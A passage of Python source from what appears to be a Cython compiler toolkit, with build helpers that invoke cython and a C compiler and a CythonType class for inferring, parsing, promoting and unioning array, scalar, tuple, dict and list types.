'util.ProcessError({})'.format(self.returncode)\n\ndef system_verbose(cmd, exit_if_error=True):\n \"\"\"\n Similar to os.system(), but prints command executed and exits if there is an error (unless exit_if_error is False, in which case, returns code).\n \"\"\"\n print(cmd)\n code = os.system(cmd)\n if code != 0:\n if exit_if_error:\n sys.exit(1)\n return code\n\ndef system(s):\n \"\"\"\n Similar to os.system(), but works with SuppressOutput. Raises ProcessError if there is an error.\n \"\"\"\n try:\n ans = subprocess.check_output(s, shell=True, stderr=subprocess.STDOUT)\n print(ans.decode('utf-8'), end='')\n except subprocess.CalledProcessError as e:\n print(e.output.decode('utf-8'))\n raise ProcessError(e.returncode)\n\ndef compile_c_single_file(filename, vectorize=True):\n \"\"\"\n Compile C source (excluding .c extension) in place to module.\n \"\"\"\n c_filename = filename + '.c'\n\n # this is a temporary hack to force the use of GCC instead of clang\n if os.path.isfile(\"/usr/local/bin/gcc-5\"):\n print(\"using gcc-5 compiler from homebrew...\")\n os.environ[\"CC\"] = os.environ[\"CXX\"] = \"gcc-5\"\n else:\n os.environ[\"CC\"] = os.environ[\"CXX\"] = \"gcc\"\n\n if os.name == 'nt':\n extension = [\n Extension(\n filename,\n sources = [c_filename],\n include_dirs = [numpy.get_include()],\n extra_compile_args = '-openmp'.split(),\n extra_link_args = '-openmp'.split()\n )\n ]\n \n else:\n extension = [\n Extension(\n filename,\n sources = [c_filename],\n include_dirs = [numpy.get_include()],\n extra_compile_args = '-w -fopenmp'.split() + (['-fno-tree-vectorize'] if not vectorize else []),\n extra_link_args = '-fopenmp'.split()\n )\n ]\n\n setup(\n name = filename,\n cmdclass = {'build_ext' : build_ext}, \n include_dirs = [numpy.get_include()],\n ext_modules = extension,\n script_args='build_ext --inplace'.split()\n )\n\ndef compile_cython_single_file(filename, edit_c_func=None, extra_info=None, vectorize=True, compile_c=True):\n \"\"\"\n Compile a single Cython extension file (excluding the .pyx extension) in place using distutils.\n \n If edit_c_func is not None, then edit_c_func(source_c, source_cython) is called, which takes C and Cython sources as input and returns a modified C source string.\n \"\"\"\n pyx_filename = filename + '.pyx'\n c_filename = filename + '.c'\n\n # Run Cython twice because -a appears to suppress line directives\n system('cython -a -3 --fast-fail {}'.format(pyx_filename))\n system('cython --line-directives -3 {}'.format(pyx_filename))\n \n if extra_info is not None:\n html = open(filename + '.html', 'rt').read()\n extra_info['html'] = html\n \n if edit_c_func is not None:\n source_c = open(c_filename, 'rt').read()\n source_cython = open(pyx_filename, 'rt').read()\n source_c = edit_c_func(source_c, source_cython)\n with open(c_filename, 'wt') as f:\n f.write(source_c)\n\n if compile_c:\n compile_c_single_file(filename, vectorize)\n\ndef print_header(header, s='', file=None, linenos=False, file_list=None):\n if file_list is not None:\n for file_p in file_list:\n print_header(header, s, file_p, linenos)\n return\n\n if file is None:\n file = sys.stdout\n print('-'*80, file=file)\n print(header, file=file)\n print('-'*80, file=file)\n if not len(s):\n return\n if linenos:\n for (i, line) in enumerate(s.split('\\n')):\n print('{:04d} {}'.format(i+1, line), file=file)\n else:\n print(s, file=file)\n print('-'*80, file=file)\n\ndef parse_cython_array(s):\n# with open('t.txt','wt') as f:\n# f.write(repr(type(s)) + ' ' + repr(s))\n#\n dot1 = s.index('.')\n dot2 = s.index('.', dot1+1)\n underscore = s.index('_')\n primitive_type = s[dot2+1:underscore]\n ndim = s.index('ndim=')\n endbracket = s.index(']')\n ndim_val = s[ndim + len('ndim='):endbracket]\n return (ndim_val, primitive_type)\n\ndef promote_numeric(a, b, get_index=False):\n \"\"\"\n If a and b are numeric types, return the one that has the type of a + b. If not, simply return a.\n \n If get_index is True then return 0 if a was selected, otherwise 1.\n \"\"\"\n # Promote numeric argument types to a common type\n numeric_types = (bool, int, float, complex, numpy.float32, numpy.float64, numpy.int64, numpy.complex64, numpy.complex128)\n if isinstance(a, numeric_types) and isinstance(b, numeric_types):\n promoted_value = a + b\n if type(a) == type(promoted_value):\n return a if not get_index else 0\n else:\n return b if not get_index else 1\n return a if not get_index else 0\n\nclass UnionFailure(Exception):\n pass\n\ndef value_to_nickname(x):\n \"\"\"\n Convert arbitrary Python value with repr() to a nickname suitable for CythonType.cython_nickname.\n \"\"\"\n r = repr(x)\n allowed_chars = string.ascii_letters\n return ''.join([(c if c in allowed_chars else '_') for c in r]).strip('_')\n\nclass CythonType:\n \"\"\"\n Constructs both Python and Cython type information from a value.\n \n Instance properties:\n cython_type: Full Cython type string or other object such as tuple/dict/list (call cython_type_str()\n to always obtain a single string).\n cython_nickname: Nickname string which can also be used in a C identifier (e.g. a variable name).\n shape: Numpy array shape. The length is None for any dimension that changes in length.\n If scalar then shape is ().\n shape_list: List of all shapes encountered during program run, where each shape is a tuple of ints.\n If scalar then shape_list is empty. If global variable track_shape_list is False then\n shape_list is always empty.\n \n CythonType can be constructed using CythonType.from_value() or CythonType.from_cython_type(). These constructors\n take a compiler.ProgramInfo instance (program_info), which has a is_rewrite_float32() method that is used to\n determine whether float64 types should be rewritten to float32 types.\n \n CythonType can be constructed for:\n - Float, int, bool, and string types.\n - Tuple types. In this case, cython_type is a tuple of CythonType instances, cython_nickname is a single nickname\n string that concatenates sub-type nicknames, shape is (n,), where n is the length of the tuple, and shape_list is [(n,)].\n - String type. In this case, cython_type is 'str', cython_nickname is str, shape is (), and shape_list is [()].\n - Dict types. In this case, cython_type is a dict mapping unmodified instances for the dictionary keys to values which\n are CythonType instances constructed from the dictionary values (e.g. CythonType.from_value({'a': 10}) has\n cython_type of {'a': CythonType.from_value(10)}). Also, cython_nickname is a single nickname string that concatenates\n sub-type nicknames, shape is (n,), where n is the dict len, and shape_list is [(n,)].\n - List types. In this case, this list is assumed to homogeneous (of identical type) but arbitrary length that varies\n at run-time. Thus, cython_type is a list of a single CythonType instance storing the element type, cython_nickname\n is a single nickname string which includes the element type, shape is (n,), where n is the known length of the list\n or None if unknown length, and shape_list is [(n,)].\n - Object type, constructed with CythonType.from_value(object(), ...), which indicates a type could not be inferred.\n \"\"\"\n constant_shape_max_size = 30\n \n promote_primitive_types = {\n ('bool', 'bool' ): 'bool',\n ('int', 'bool' ): 'int',\n ('float', 'bool' ): 'float',\n ('double', 'bool' ): 'double',\n\n ('bool', 'int' ): 'int',\n ('int', 'int' ): 'int',\n ('float', 'int' ): 'float',\n ('double', 'int' ): 'double',\n\n ('bool', 'float' ): 'float',\n ('int', 'float' ): 'float',\n ('float', 'float' ): 'float',\n ('double', 'float' ): 'float',\n\n ('bool', 'double'): 'double',\n ('int', 'double'): 'double',\n ('float', 'double'): 'double',\n ('double', 'double'): 'double',\n \n ('str', 'str'): 'str',\n }\n \n def equal(self, other, flex_shape=True):\n \"\"\"\n Equality operator that correctly compares all fields. If flex_shape is True then permit None to equal a known shape size.\n \"\"\"\n # TODO: Replace comparison operators such as __eq__ with this impleemntation?\n # (But TypeSignature and other places may rely on the currently broken behavior of __eq__, etc, so this has to be done with some care).\n\n if self.cython_nickname != other.cython_nickname:\n return False\n if flex_shape:\n if len(self.shape) != len(other.shape):\n return False\n if any([self.shape[i] != other.shape[i] and (self.shape[i] is not None and other.shape[i] is not None) for i in range(len(self.shape))]):\n return False\n else:\n if self.shape != other.shape:\n return False\n self_cython_type = self.cython_type\n other_cython_type = other.cython_type\n if isinstance(self_cython_type, str) and isinstance(other_cython_type, str):\n return self_cython_type == other_cython_type\n elif isinstance(self_cython_type, (list, tuple)) and isinstance(other_cython_type, (list, tuple)):\n return self_cython_type[0].equal(other_cython_type[0], flex_shape)\n elif isinstance(self_cython_type, dict) and isinstance(other_cython_type, dict):\n if self_cython_type.keys() != other_cython_type.keys():\n return False\n for key in self_cython_type:\n if not self_cython_type[key].equal(other_cython_type[key], flex_shape):\n return False\n return True\n return False\n\n \n def is_subtype(self, other, flex_shape=True):\n \"\"\"\n Whether self is a subtype of CythonType other. If flex_shape is True then permit None to equal a known shape size.\n \"\"\"\n# print('entering is_subtype')\n union_type = union_cython_types(self, other, numeric_promotion=False)\n# print('(A) self.shape={}, other.shape={}, union_type.shape={}'.format(self.shape, other.shape, union_type.shape))\n# print('is_subtype: self={}, other={}, union_type={}'.format(self, other, union_type))\n# print('(B) self.shape={}, other.shape={}, union_type.shape={}'.format(self.shape, other.shape, union_type.shape))\n return other.equal(union_type, flex_shape)\n \n def sorted_key_list(self):\n \"\"\"\n Sorted key list, valid only if dict type (that is, self.is_dict()).\n \"\"\"\n return sorted(self._cython_type.keys())\n \n def cython_type_str(self, force_non_buffer=False):\n \"\"\"\n Convert to a single string suitable for cdef type declaration in Cython.\n \n If program_info is a compiler.ProgramInfo instance then adds any relevant Cython class or header declarations\n to program_info.cython_headers. Specifically, cython_headers is a dict, the key is the class name string, and the\n value is the string of the Cython class declaration.\n \n If force_non_buffer is True then the return type string is forced to not be a buffer type (e.g. 'numpy.ndarray'\n instead of 'numpy.ndarray[numpy.float64_t, ndim=2]').\n \"\"\"\n if self.is_tuple():\n return 'tuple'\n elif self.is_dict():\n if program_info is not None:\n if self.cython_nickname not in program_info.cython_headers:\n header_str = ['cdef class ' + self.cython_nickname + ':']\n keys = self.sorted_key_list()\n for key in keys:\n assert isinstance(key, str), 'not string key: {}'.format(key)\n header_str.append(' cdef public ' + self._cython_type[key].cython_type_str(force_non_buffer=True) + ' ' + key)\n header_str.append('')\n\n header_str.append(' def __init__(self, ' + ','.join(keys) + '):')\n for key in keys:\n header_str.append(' self.{} = {}'.format(key, key))\n header_str.append('')\n\n header_str.append(' def __getitem__(self, key):')\n for (i, key) in enumerate(keys):\n header_str.append(' {} key == {}: return self.{}'.format('if' if i == 0 else 'elif', repr(key), key))\n header_str.append(' else: raise KeyError(key)')\n header_str.append('')\n\n header_str.append(' def __setitem__(self, key, value):')\n for (i, key) in enumerate(keys):\n header_str.append(' {} key == {}: self.{} = value'.format('if' if i == 0 else 'elif', repr(key), key))\n header_str.append(' else: raise KeyError(key)')\n header_str.append('')\n\n header_str.append(' def __len__(self):')\n header_str.append(' return {}'.format(self.shape[0]))\n\n header_str = '\\n'.join(header_str)\n program_info.cython_headers[self.cython_nickname] = header_str\n \n return self.cython_nickname\n elif self.is_list():\n return 'list'\n if force_non_buffer and isinstance(self._cython_type, str) and '[' in self._cython_type:\n return self._cython_type[:self._cython_type.index('[')]\n def convert_bool(s):\n if s == 'bool':\n return '_cbool'\n return s\n return self.rewrite_float32_str(convert_bool(self._cython_type)) #self.cython_type\n\n def rewrite_float32_str(self, s):\n \"\"\"\n Get cython_type string after optionally rewriting arrays of float64 type to float32 if this has been specified by an ArrayStorage transform.\n \"\"\"\n if self.is_rewrite_float32():\n if self.is_array():\n if self.primitive_type(rewrite=False) == 'double':\n return s.replace('float64', 'float32')\n return s\n \n def __init__(self, *args):\n self.known_value = None\n if len(args):\n raise ValueError('Use either CythonType.from_value() or CythonType.from_cython_type()')\n\n def small_constant_shape(self, max_size=constant_shape_max_size):\n \"\"\"\n True if has a small and constant shape.\n \"\"\"\n return len(self.shape) and not any(v is None for v in self.shape) and (max_size is None or all(v <= max_size for v in self.shape))\n \n @staticmethod\n def dim_has_small_constant_shape(v, max_size=constant_shape_max_size):\n \"\"\"\n Returns True if v is small constant shape size. Here v is a given element of self.shape (e.g. self.shape[0], or self.shape[1], etc).\n \"\"\"\n return v is not None and (max_size is None or v <= max_size)\n \n numpy_to_scalar_type = {'float': 'float64'}\n \n scalar_type_to_c = {'float': 'float', 'double': 'double', 'float32': 'float', 'float64': 'double', 'bool': 'bool', 'int': 'int', 'str': 'str', 'int64': 'int64_t'}\n scalar_type_to_numpy = {'float': 'float32', 'double': 'float64', 'float32': 'float32', 'float64': 'float64', 'bool': 'bool', 'int': 'int', 'str': 'str', 'int64': 'int64'}\n\n def bind_4channel_type(self, other):\n self._shape_4channel = other._shape\n if self.is_list():\n self.cython_type[0].bind_4channel_type(other.cython_type[0])\n elif self.is_dict():\n for key in self.cython_type:\n self.cython_type[key].bind_4channel_type(other.cython_type[key])\n elif self.is_tuple():\n for i in range(len(self.cython_type)):\n self.cython_type[i].bind_4channel_type(other.cython_type[i])\n\n @property\n def shape(self):\n if self.is_use_4channel() and hasattr(self, '_shape_4channel'):\n return self._shape_4channel\n return self._shape\n \n @shape.setter\n def shape(self, shape):\n self._shape = shape\n\n def set_shape(self, shape):\n \"\"\"\n Modifies shape.\n \"\"\"\n if not isinstance(shape, tuple):\n shape = tuple(shape)\n dims_changed = (len(shape) != len(self._shape))\n self._shape = shape\n if dims_changed:\n self.set_primitive_type(self.primitive_type())\n\n def set_primitive_type(self, ptype, is_numpy=False):\n \"\"\"\n Set primitive C type string such as 'float', 'double', 'int', for scalar and array types only.\n \n If is_numpy is True then interpret the type as a numpy type. For example, numpy dtype 'float' actually corresponds to C type 'double'.\n \"\"\"\n if is_numpy:\n ptype = self.numpy_to_scalar_type.get(ptype, ptype)\n \n try:\n ptype_numpy = self.scalar_type_to_numpy[ptype]\n ptype_c = self.scalar_type_to_c[ptype]\n except KeyError:\n raise KeyError('Unknown primitive type {}'.format(ptype))\n if self.shape == ():\n self._cython_type = ptype_c\n elif self.is_array():\n self._cython_type = 'numpy.ndarray[numpy.' + ptype_numpy + '_t, ndim={}]'.format(len(self.shape))\n else:\n raise ValueError('not scalar or array type: {}'.format(self))\n\n def primitive_type(self, is_numpy=False, allow_complex=True, rewrite=True, cython_type=False):\n \"\"\"\n Get primitive C type string such as 'float' or 'double', or if is_numpy is True, a numpy type string such as 'float32'.\n \n If cython_type is True then return a CythonType instance instead of a str.\n \n If self is a tuple type then returns a tuple of such primitive C type strings, if allow_complex is True.\n If allow_complex is False, then returns the first primitive C type string from the tuple.\n \n If self is a dict type then returns a dict mapping the original keys to primitive_types, if allow_complex is True.\n If allow_complex is False, then returns the primitive C type string from the smallest key.\n \n If self is a list type then returns a list of a single primitive C type string, if allow_complex is True.\n If allow_complex is False, then returns the first primitive C type string.\n \"\"\"\n if cython_type:\n return CythonType.from_cython_type(self.primitive_type(is_numpy, allow_complex, rewrite), self.program_info)\n \n def parse_type(t):\n try:\n if not is_numpy:\n return self.scalar_type_to_c[t]\n else:\n return self.scalar_type_to_numpy[t]\n except KeyError:\n raise KeyError('Unknown primitive type {}, is_numpy={}, allow_complex={}, rewrite={}, self._cython_type={}, self._cython_nickname={}, self.shape={}'.format(t, is_numpy, allow_complex, rewrite, self._cython_type, self._cython_nickname, self.shape))\n cython_type = self.cython_type if rewrite else self._cython_type\n \n if self.is_array():\n return parse_type(parse_cython_array(cython_type)[1])\n elif self.is_tuple():\n# with open('t.txt', 'wt') as f:\n# f.write(repr(self.cython_type))\n t = tuple([x.primitive_type() for x in cython_type])\n if allow_complex:\n return t\n else:\n return t[0]\n elif self.is_dict():\n t = [(_k, _v.primitive_type()) for (_k, _v) in cython_type.items()]\n if allow_complex:\n return dict(t)\n else:\n return t[0][1]\n elif self.is_list():\n t = [cython_type[0].primitive_type()]\n if allow_complex:\n return t\n else:\n return t[0]\n elif self.is_object():\n return self\n else:\n return parse_type(cython_type)\n\n def is_tuple(self):\n \"\"\"\n Returns True if a tuple type.\n \"\"\"\n return isinstance(self._cython_type, tuple)\n\n def is_array(self):\n \"\"\"\n Returns True if a numpy array type.\n \"\"\"\n return not self.is_tuple() and not self.is_dict() and not self.is_list() and not self.is_str() and not self.is_object() and len(self.shape)\n\n def is_dict(self):\n \"\"\"\n Returns True if a dict type.\n \"\"\"\n return isinstance(self._cython_type, dict)\n\n def is_list(self):\n \"\"\"\n Return True if a list type.\n \"\"\"\n return isinstance(self._cython_type, list)\n\n def is_str(self):\n return self._cython_type == 'str'\n \n def is_object(self):\n return self._cython_type == 'object'\n\n def is_scalar(self):\n return len(self.shape) == 0\n \n# def is_numeric(self):\n# return self._cython_type in ['bool', 'int', 'float', 'double'] and len(self.shape) == 0\n \n def c_array_type_suffix(self):\n \"\"\"\n Get suffix of C array such as '[3]' or '[3][3]'. Raise error if non-constant shape or 0-dimensional.\n \"\"\"\n assert len(self.shape), 'expected non-zero dimension'\n assert not any(v is None for v in self.shape), 'expected shape to be constant for all dims'\n return ''.join('[{}]'.format(v) for v in self.shape)\n\n def _set_shape_list(self):\n self.shape_list = [self.shape] if track_shape_list else []\n\n def _set_dict_info(self):\n self._cython_nickname = '_'.join(value_to_nickname(_k) + '_' + _v.cython_nickname for (_k, _v) in sorted(self._cython_type.items()))\n self.shape = (len(self._cython_type),)\n self._set_shape_list()\n\n def _set_list_info(self, nelems):\n self._cython_nickname = 'list_' + self._cython_type[0].cython_nickname\n self.shape = (nelems,)\n self._set_shape_list()\n\n def is_rewrite_float32(self):\n return self.program_info is not None and self.program_info.is_rewrite_float32()\n\n def is_use_4channel(self):\n return self.program_info is not None and self.program_info.is_use_4channel()\n\n @property\n def cython_nickname(self):\n return self.rewrite_float32_str(self._cython_nickname)\n \n @cython_nickname.setter\n def cython_nickname(self, value):\n self._cython_nickname = value\n \n @property\n def cython_type(self):\n t = self._cython_type\n if isinstance(t, str):\n return self.rewrite_float32_str(t)\n return t\n\n @cython_type.setter\n def cython_type(self, value):\n self._cython_type = value\n \n @staticmethod\n def from_known_value(value, program_info, error_variable=''):\n self = CythonType.from_value(value, program_info, error_variable='')\n self.known_value = value\n return self\n\n @staticmethod\n def from_value(value, program_info, error_variable=''):\n \"\"\"\n Construct from value.\n \"\"\"\n self = CythonType()\n self.program_info = program_info\n \n if isinstance(value, numpy.ndarray):\n dtype_str = str(value.dtype)\n self._cython_type = 'numpy.ndarray[numpy.{}_t, ndim={}]'.format(dtype_str, value.ndim)\n self._cython_nickname = 'array{}{}'.format(value.ndim, dtype_str)\n self.shape = value.shape\n self._set_shape_list()\n if cython_type_check:\n self.check()\n elif isinstance(value, tuple):\n self.shape = (len(value),)\n L = [CythonType.from_value(x, program_info) for x in value]\n self._cython_nickname = '_'.join(x.cython_nickname for x in L)\n self._cython_type = tuple(L) #tuple([x.cython_type for x in L])\n self._set_shape_list()\n if cython_type_check:\n self.check()\n elif isinstance(value, dict):\n self._cython_type = {_k: CythonType.from_value(_v, program_info) for (_k, _v) in value.items()}\n if not all(isinstance(_k, str) for _k in self.cython_type):\n raise NotImplementedError('CythonType from dict with non-string keys not currently supported: {}'.format(value))\n self._set_dict_info()\n if cython_type_check:\n self.check()\n elif isinstance(value, list):\n if len(value) == 0:\n raise NotImplementedError('unsupported type: empty list')\n self._cython_type = [CythonType.from_value(value[0], program_info)]\n for element in value[1:]:\n self._cython_type[0].union_inplace(CythonType.from_value(element, program_info))\n self._set_list_info(len(value))\n else:\n if isinstance(value, (float, numpy.float64)):\n self._cython_type = 'double'\n elif isinstance(value, (numpy.float32)):\n self._cython_type = 'float'\n elif isinstance(value, (bool, numpy.bool_)): # This test must be before the int test because, cryptically, isinstance(False, int) is True.\n self._cython_type = 'bool'\n elif isinstance(value, (int, numpy.int64)):\n self._cython_type = 'int'\n elif isinstance(value, str):\n self._cython_type = 'str'\n elif value.__class__ is object().__class__ or value is None:\n self._cython_type = 'object'\n else:\n raise NotImplementedError('unsupported type: {!r} (type: {!r}, error_variable: {})'.format(value, type(value), error_variable))\n self._cython_nickname = self.cython_type\n self.shape = ()\n self.shape_list = []\n if cython_type_check:\n self.check()\n return self\n \n def check(self):\n \"\"\"\n Run sanity checks for debugging purposes.\n \"\"\"\n# if len(self.shape) == 1 and self.shape[0] is None:\n# raise ValueError((self.cython_type, self.cython_nickname, self.shape, self.shape_list))\n \n if isinstance(self._cython_type, tuple):\n for x in self._cython_type:\n if isinstance(x._cython_type, str):#, (self.cython_type, self.cython_nickname, self.shape, self.shape_list)\n if 'shape=' in x._cython_type:\n raise ValueError((self.cython_type, self.cython_nickname, self.shape, self.shape_list))\n elif isinstance(self._cython_type, list):\n if len(self._cython_type) != 1:\n raise ValueError((self.cython_type, self.cython_nickname, self.shape, self.shape_list))\n else:\n if 'shape=' in self._cython_type:\n raise ValueError((self.cython_type, self.cython_nickname, self.shape, self.shape_list))\n\n @staticmethod\n def from_cython_type(cython_type_shapeinfo, program_info):\n \"\"\"\n Construct from cython_type str or tuple (can also include shape info, in the format returned by CythonType.__repr__()).\n \"\"\"\n# print('from_cython_type({!r} (type={})'.format(cython_type_shapeinfo, type(cython_type_shapeinfo)))\n if isinstance(cython_type_shapeinfo, CythonType):\n ans = copy.deepcopy(cython_type_shapeinfo)\n ans.program_info = program_info\n return ans\n# cython_type_shapeinfo = str(cython_type_shapeinfo)\n is_str = isinstance(cython_type_shapeinfo, str)\n if isinstance(cython_type_shapeinfo, tuple) or (is_str and cython_type_shapeinfo.startswith('(')):\n if isinstance(cython_type_shapeinfo, tuple):\n L_args = cython_type_shapeinfo\n else:\n L_args = eval(cython_type_shapeinfo)\n L = [CythonType.from_cython_type(x, program_info) for x in L_args]\n ans = CythonType()\n ans.program_info = program_info\n ans._cython_type = tuple([x for x in L])\n ans._cython_nickname = '_'.join(x.cython_nickname for x in L)\n ans.shape = (len(L),)\n ans._set_shape_list()\n if cython_type_check:\n ans.check()\n return ans\n elif isinstance(cython_type_shapeinfo, dict) or (is_str and cython_type_shapeinfo.startswith('{')):\n if not isinstance(cython_type_shapeinfo, dict):\n cython_type_shapeinfo = eval(cython_type_shapeinfo)\n L_args = sorted(cython_type_shapeinfo.items())\n ans = CythonType()\n ans.program_info = program_info\n ans._cython_type = {_k: CythonType.from_cython_type(_v, program_info) for (_k, _v) in L_args}\n ans._set_dict_info()\n if cython_type_check:\n ans.check()\n return ans\n elif isinstance(cython_type_shapeinfo, list) or (is_str and (cython_type_shapeinfo.startswith('[') or cython_type_shapeinfo.startswith('\"['))):\n if isinstance(cython_type_shapeinfo, list):\n nelems = len(cython_type_shapeinfo)\n elif is_str and (cython_type_shapeinfo.startswith('[') or cython_type_shapeinfo.startswith('\"[')):\n if cython_type_shapeinfo.startswith('\"') and cython_type_shapeinfo.endswith('\"'):\n cython_type_shapeinfo = cython_type_shapeinfo[1:-1]\n nelems = None\n if 'shape=(' in cython_type_shapeinfo:\n idx_start0 = cython_type_shapeinfo.rindex('shape=(')\n idx_start = idx_start0 + len('shape=(')\n try:\n comma = cython_type_shapeinfo.index(',', idx_start0)\n comma_found = True\n except ValueError:\n comma_found = False\n if comma_found:\n sub = cython_type_shapeinfo[idx_start:comma]\n try:\n nelems = int(sub)\n except ValueError:\n warnings.warn('could not parse shape field of list in CythonType.from_cython_type() constructor: substring is {}'.format(sub))\n else:\n warnings.warn('could not parse shape field of list in CythonType.from_cython_type() constructor')\n cython_type_shapeinfo = cython_type_shapeinfo[:idx_start0-1]\n else:\n raise ValueError\n #print('cython_type_shapeinfo={}'.format(cython_type_shapeinfo))\n if not isinstance(cython_type_shapeinfo, list):\n cython_type_shapeinfo = eval(cython_type_shapeinfo)\n if len(cython_type_shapeinfo) == 0:\n raise ValueError('In CythonType.from_cython_type({!r}), cannot parse length zero list type'.format(cython_type_shapeinfo))\n ans = CythonType()\n ans.program_info = program_info\n ans._cython_type = [CythonType.from_cython_type(cython_type_shapeinfo[0], program_info)]\n ans._set_list_info(nelems)\n if cython_type_check:\n ans.check()\n return ans\n \n cython_type_shapeinfo = cython_type_shapeinfo.strip(\"'\\\"\")\n self = CythonType()\n self.program_info = program_info\n self._cython_type = cython_type_shapeinfo\n self.shape = None\n self.shape_list = []\n if '(' in self._cython_type and ')' in self._cython_type:\n lparen = self._cython_type.index('(')\n rparen = self._cython_type.rindex(')')\n shapeinfo = self._cython_type[lparen+1:rparen]\n self._cython_type = self._cython_type[:lparen]\n# print('shapeinfo:', shapeinfo)\n try:\n paren_comma = shapeinfo.index('),')\n except ValueError:\n raise ValueError('In CythonType.from_cython_type({!r}), could not find \"),\" in {!r}'.format(cython_type_shapeinfo, shapeinfo))\n if shapeinfo.startswith('shape=') and shapeinfo[paren_comma+2:].startswith('shape_list='):\n shape_listinfo = shapeinfo[paren_comma+2+len('shape_list='):]\n shapeinfo = shapeinfo[len('shape='):paren_comma+1]\n self.shape = eval(shapeinfo)\n self.shape_list = eval(shape_listinfo) if track_shape_list else []\n if self._cython_type.startswith('numpy.ndarray'):\n (ndim_val, primitive_type) = parse_cython_array(self._cython_type)\n self._cython_nickname = 'array{}{}'.format(ndim_val, primitive_type)\n if self.shape is None:\n self.shape = tuple([None for i in range(int(ndim_val))])\n self.shape_list = []\n else:\n self._cython_nickname = self._cython_type\n if self.shape is None:\n self.shape = ()\n self.shape_list = []\n\n if cython_type_check:\n self.check()\n return self\n\n def __repr__(self):\n# print('in __repr__, shape={}, cython_type type: {}'.format(self.shape, type(self.cython_type)))\n if cython_type_check:\n self.check()\n r = self.cython_type\n if isinstance(self.cython_type, tuple):\n return str(r)\n elif isinstance(self.cython_type, dict):\n return '{' + ', '.join(repr(key) + ': ' + repr(value) for (key, value) in sorted(self.cython_type.items())) + '}'\n elif isinstance(self.cython_type, list):\n str_r = str(r)\n if str_r.startswith('[\"') and str_r.endswith('\"]'):\n str_r = '[' + str_r[2:-2] + ']'\n return '\"' + str_r + '(shape={})'.format(self.shape) + '\"'\n return \"'\" + r + ('(shape={},shape_list={})'.format(self.shape, self.shape_list) if (len(self.shape) or len(self.shape_list)) else '') + \"'\"\n\n def to_immutable(self):\n \"\"\"\n Return cython_type attribute which has been converted to an immutable (hashable) form that is unique.\n \"\"\"\n t = self.cython_type\n if isinstance(t, dict):\n t = tuple(sorted(t.items()))\n elif isinstance(t, list):\n t = tuple([t[0], None])\n return t\n\n def __hash__(self):\n return hash(self.to_immutable())\n \n def __eq__(self, other):\n return self.cython_type == other.cython_type\n\n def __lt__(self, other):\n return self.cython_type < other.cython_type\n \n def __gt__(self, other):\n return self.cython_type > other.cython_type\n\n def __le__(self, other):\n return self.cython_type <= other.cython_type\n\n def __ge__(self, other):\n return self.cython_type >= other.cython_type\n \n def __ne__(self, other):\n return self.cython_type != other.cython_type\n\n def isinstance_check(self, arg):\n \"\"\"\n Convert to a code string that checks whether the string arg is an instance of the current Cython type.\n \"\"\"\n\n s = self.cython_type #self.cython_type\n\n if s == 'double':\n return 'isinstance({}, (float, numpy.float64))'.format(arg)\n elif s == 'float':\n return 'isinstance({}, numpy.float32)'.format(arg)\n elif s == 'int':\n return 'isinstance({}, (int, numpy.int64))'.format(arg)\n elif s == 'bool':\n return 'isinstance({}, (bool, numpy.bool_))'.format(arg)\n elif s == 'str':\n return 'isinstance({}, str)'.format(arg)\n elif isinstance(s, str) and s.startswith('numpy.ndarray'):\n (ndim_val, primitive_type) = parse_cython_array(s)\n\n result = \\\n ('(isinstance(%s, numpy.ndarray) and' % arg) + \\\n (' %s.dtype == numpy.%s and' % (arg, primitive_type)) + \\\n (' %s.ndim == %s' % (arg, ndim_val))\n\n for i in range(len(self.shape)):\n if self.dim_has_small_constant_shape(self.shape[i]):\n result += (' and %s.shape[%d] == %d' % (arg, i, self.shape[i]))\n\n result += ')'\n\n return result\n elif self.is_tuple():\n return 'isinstance({}, tuple)'.format(arg)\n elif self.is_dict():\n return 'isinstance({}, dict)'.format(arg)\n elif self.is_list():\n return 'isinstance({}, list)'.format(arg)\n else:\n raise ValueError\n\n def assign_inplace(self, t):\n \"\"\"\n In-place assignment operator: overwrites properties of self with those of t.\n \"\"\"\n self._cython_type = t._cython_type\n self._cython_nickname = t._cython_nickname\n self.shape = t.shape\n self.shape_list = t.shape_list\n \n def union_inplace(self, t, warn=True, numeric_promotion=True, numpy_promotion=False):\n \"\"\"\n Deprecated type union. Please use the function union_cython_types() instead.\n \n Attempt to union in place self with CythonType t, including unioning array shapes and promoting numeric types if needed.\n \n On success, return True. On failure, due nothing, issue a warning (if warn is True), and return False.\n \"\"\"\n# print('union_inplace({}, {})'.format(self, t))\n p_s = self.primitive_type()\n p_t = t.primitive_type()\n\n if isinstance(p_s, str) and isinstance(p_t, str):\n try:\n p_promoted = CythonType.promote_primitive_types[(p_s, p_t)]\n except (UnionFailure, KeyError):\n if warn:\n warnings.warn('could not union types: {}, {}'.format(self, t))\n return False\n if not numeric_promotion:\n if p_promoted != p_s or p_promoted != p_t:\n if warn:\n warnings.warn('could not union types in numeric_promotion=False mode: {}, {}'.format(self, t))\n return False\n if p_promoted == p_t:\n self._cython_type = t._cython_type\n self._cython_nickname = t._cython_nickname\n try:\n self.shape = union_shapes(self.shape, t.shape, numpy_promotion=numpy_promotion)\n except UnionFailure:\n if warn:\n warnings.warn('could not union shapes: {}, {}'.format(self.shape, t.shape))\n return False\n self.set_primitive_type(p_promoted)\n if track_shape_list:\n self.shape_list.extend(t.shape_list)\n elif isinstance(p_s, tuple) and isinstance(p_t, tuple) and len(p_s) == len(p_t):\n L_s = list(self._cython_type)\n L_t = list(t._cython_type)\n for i in range(len(L_s)):\n L_s[i].union_inplace(L_t[i])\n self._cython_type = tuple(L_s)\n elif isinstance(p_s, dict) and isinstance(p_t, dict) and p_s.keys() == p_t.keys():\n for key in self._cython_type.keys():\n self._cython_type[key].union_inplace(t._cython_type[key])\n elif isinstance(p_s, list) and isinstance(p_t, list) and len(p_s) >= 1 and len(p_t) >= 1:\n self._cython_type[0].union_inplace(t._cython_type[0])\n elif self.is_array() and t.is_list():\n pass\n elif self.is_list() and t.is_array():\n self.assign_inplace(t)\n else:\n# raise ValueError('unknown types for union_inplace: {}, {}'.format(self, t))\n if warn:\n warnings.warn('unknown types for union_inplace: {}, {}'.format(self, t))\n return False\n return True\n# def promote(current_s, current_t):\n# if isinstance(current_s, str) and isinstance(current_t, str):\n# return CythonType.promote_primitive_types[(current_s, current_t)]\n# elif isinstance(current_s, tuple) and isinstance(current_t, tuple) and len(current_s) == len(current_t):\n# return tuple([promote(current_s[i], current_t[i]) for i in range(len(current_s))])\n# elif isinstance(current_s, dict) and isinstance(current_t, dict) and current_s.keys() == current_t.keys():\n# return {_k: promote(current_s[_k], current_t[_k]) for _k in current_s.keys()}\n# 